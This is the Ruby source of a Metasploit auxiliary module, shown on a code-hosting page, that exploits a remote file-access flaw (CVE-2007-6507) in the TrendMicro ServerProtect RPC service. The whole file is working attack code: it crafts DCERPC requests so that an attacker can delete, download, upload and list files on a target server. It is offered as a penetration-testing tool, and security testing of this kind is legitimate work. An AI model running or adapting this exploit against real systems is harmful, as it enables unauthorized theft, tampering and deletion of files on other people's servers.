Path: blob/master/modules/auxiliary/admin/serverprotect/file.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Auxiliary7include Msf::Exploit::Remote::DCERPC8include Msf::Post::Windows::Registry910def initialize(info = {})11super(12update_info(13info,14'Name' => 'TrendMicro ServerProtect File Access',15'Description' => %q{16This modules exploits a remote file access flaw in the ServerProtect Windows17Server RPC service. Please see the action list (or the help output) for more18information.19},20'DefaultOptions' => {21'DCERPC::ReadTimeout' => 300 # Long-running RPC calls22},23'Author' => [ 'toto' ],24'License' => MSF_LICENSE,25'References' => [26[ 'CVE', '2007-6507' ],27[ 'OSVDB', '44318' ],28[ 'ZDI', '07-077' ],29],30'Actions' => [31[ 'delete', { 'Description' => 'Delete a file' } ],32[ 'download', { 'Description' => 'Download a file' } ],33[ 'upload', { 'Description' => 'Upload a file' } ],34[ 'list', { 'Description' => 'List files (not recommended - will crash the driver)' } ]35],36'Notes' => {37'Stability' => [CRASH_SAFE],38'SideEffects' => [IOC_IN_LOGS],39'Reliability' => []40}41)42)4344register_options(45[46Opt::RPORT(5168),47OptString.new(48'RPATH',49[50false,51'The remote filesystem path',52nil53]54),55OptString.new(56'LPATH',57[58false,59'The local filesystem path',60nil61]62),63]64)65end6667def check_option(name)68if !datastore[name]69raise "The #{name} parameter is required by this option"70end71end7273def auxiliary_commands74{75'delete' => 'Delete a file',76'download' => 'Download a file',77'upload' => 'Upload a file',78'list' => 'List files (not recommended - will crash the driver)'79}80end8182def run83case action.name84when 'download'85check_option('RPATH')86check_option('LPATH')87cmd_download(datastore['RPATH'], datastore['LPATH'])88when 'upload'89check_option('RPATH')90check_option('LPATH')91cmd_upload(datastore['RPATH'], datastore['LPATH'])92when 'delete'93check_option('RPATH')94cmd_delete(datastore['RPATH'])95when 'list'96check_option('RPATH')97cmd_list(datastore['RPATH'])98else99print_error("Unknown action #{action.name}")100end101end102103def deunicode(str)104str.gsub("\x00", '').strip105end106107#108# Once this function is used, if cmd_download or cmd_upload is called the server will crash :/109#110def cmd_list(*args)111if args.empty?112print_status('Usage: list folder')113return114end115116file = Rex::Text.to_unicode(args[0])117118data = "\0" * 0x100119data[4, file.length] = file120121# FindFirstFile122resp = serverprotect_rpccmd(131080, data, 0x100)123return if !resp124125if resp.length != 0x108126print_error('An unknown error occurred while calling FindFirstFile.')127return128end129130ret, = resp[0x104, 4].unpack('V')131if ret != 0132print_error("An error occurred while calling FindFirstFile #{args[0]}: #{ret}.")133return134end135136handle, = resp[4, 4].unpack('V')137138file = deunicode(resp[0x30, 0xd0])139print("#{file}\n")140141data = "\0" * 0x100142data[0, 4] = [handle].pack('V')143144loop do145# FindNextFile146resp = serverprotect_rpccmd(131081, data, 0x100)147return if !resp148149if resp.length != 0x108150print_error('An unknown error occurred while calling FindFirstFile.')151break152end153154ret, = resp[0x104, 4].unpack('V')155if ret != 0156break157end158159file = deunicode(resp[0x30, 0xd0])160print("#{file}\n")161end162data = [handle].pack('V')163# FindClose164serverprotect_rpccmd(131082, data, 0x100)165end166167def cmd_delete(*args)168if args.empty?169print_status('Usage: delete c:\\windows\\system.ini')170return171end172173data = Rex::Text.to_unicode(args[0] + "\0")174resp = serverprotect_rpccmd(131077, data, 4)175return if !resp176177if (resp.length == 12)178ret, = resp[8, 4].unpack('V')179180if ret == 0181print_good("File #{args[0]} successfully deleted.")182else183print_error("An error occurred while deleting #{args[0]}: #{ret}.")184end185end186end187188def cmd_download(*args)189if (args.length < 2)190print_status('Usage: download remote_file local_file')191return192end193194# GENERIC_READ: 0x80000000195# FILE_SHARE_READ: 1196# OPEN_EXISTING: 3197# FILE_ATTRIBUTE_NORMAL: 0x80198handle = serverprotect_createfile(args[0], 0x80000000, 1, 3, 0x80)199if !handle || (handle == 0)200return201end202203fd = File.new(args[1], 'wb')204205print_status("Downloading #{args[0]}...")206207# reads 0x1000 bytes (hardcoded in the soft)208until (data = serverprotect_readfile(handle)).empty?209fd.write(data)210end211212fd.close213214serverprotect_closehandle(handle)215216print_good("File #{args[0]} successfully downloaded.")217end218219def cmd_upload(*args)220if (args.length < 2)221print_status('Usage: upload local_file remote_file')222return223end224225# GENERIC_WRITE: 0x40000000226# FILE_SHARE_WRITE: 2227# CREATE_ALWAYS: 2228# FILE_ATTRIBUTE_NORMAL: 0x80229handle = serverprotect_createfile(args[1], 0x40000000, 2, 2, 0x80)230if (handle == 0)231return232end233234fd = File.new(args[0], 'rb')235236print_status("Uploading #{args[1]}...")237238# write 0x1000 bytes (hardcoded in the soft)239while (data = fd.read(0x1000) && !data.nil)240serverprotect_writefile(handle, data)241end242243fd.close244245serverprotect_closehandle(handle)246247print_good("File #{args[1]} successfully uploaded.")248end249250def serverprotect_createfile(file, desiredaccess, sharemode, creationdisposition, flags)251data = "\0" * 540252file = Rex::Text.to_unicode(file)253data[4, file.length] = file254data[524, 16] = [desiredaccess, sharemode, creationdisposition, flags].pack('VVVV')255256resp = serverprotect_rpccmd(131073, data, 540)257return if !resp258259if (resp.length < 548)260print_error('An unknown error occurred while calling CreateFile.')261return 0262else263handle, = resp[4, 4].unpack('V')264ret, = resp[544, 4].unpack('V')265266if ret != 0267print_error("An error occurred while calling CreateFile: #{ret}.")268return 0269else270return handle271end272end273end274275def serverprotect_readfile(handle)276data = "\0" * 4104277data[0, 4] = [handle].pack('V')278279resp = serverprotect_rpccmd(131075, data, 4104)280return if !resp281282if (resp.length != 4112)283print_error('An unknown error occurred while calling ReadFile.')284return ''285else286ret, = resp[4108, 4].unpack('V')287288if ret != 0289print_error("An error occurred while calling CreateFile: #{ret}.")290return ''291else292br, = resp[4104, 4].unpack('V')293return resp[8, br]294end295end296end297298def serverprotect_writefile(handle, buf)299data = "\0" * 4104300data[0, 4] = [handle].pack('V')301data[4, buf.length] = buf302data[4100, 4] = [buf.length].pack('V')303304resp = serverprotect_rpccmd(131076, data, 4104)305return if !resp306307if (resp.length != 4112)308print_error('An unknown error occurred while calling WriteFile.')309return 0310else311ret, = resp[4108, 4].unpack('V')312313if ret != 0314print_error("An error occurred while calling WriteFile: #{ret}.")315return 0316end317end318319return 1320end321322def serverprotect_closehandle(handle)323data = [handle].pack('V')324325resp = serverprotect_rpccmd(131074, data, 4)326return if !resp327328if (resp.length != 12)329print_error('An unknown error occurred while calling CloseHandle.')330else331ret, = resp[8, 4].unpack('V')332333if ret != 0334print_error("An error occurred while calling CloseHandle: #{ret}.")335end336end337end338339def serverprotect_rpccmd(cmd, data, osize)340if (data.length.remainder(4) != 0)341padding = "\0" * (4 - data.length.remainder(4))342else343padding = ''344end345346stub =347NDR.long(cmd) +348NDR.long(data.length) +349data +350padding +351NDR.long(data.length) +352NDR.long(osize)353354return serverprotect_rpc_call(0, stub)355end356357#358# Call the serverprotect RPC service359#360def serverprotect_rpc_call(opnum, data = '')361connect362363handle = dcerpc_handle(364'25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0',365'ncacn_ip_tcp', [datastore['RPORT']]366)367368dcerpc_bind(handle)369370dcerpc.call(opnum, data)371outp = ''372373if dcerpc.last_response && dcerpc.last_response.stub_data374outp = dcerpc.last_response.stub_data375end376377disconnect378379outp380rescue ::Interrupt381raise $ERROR_INFO382rescue StandardError => e383print_error("Error: #{e}")384nil385end386end387388389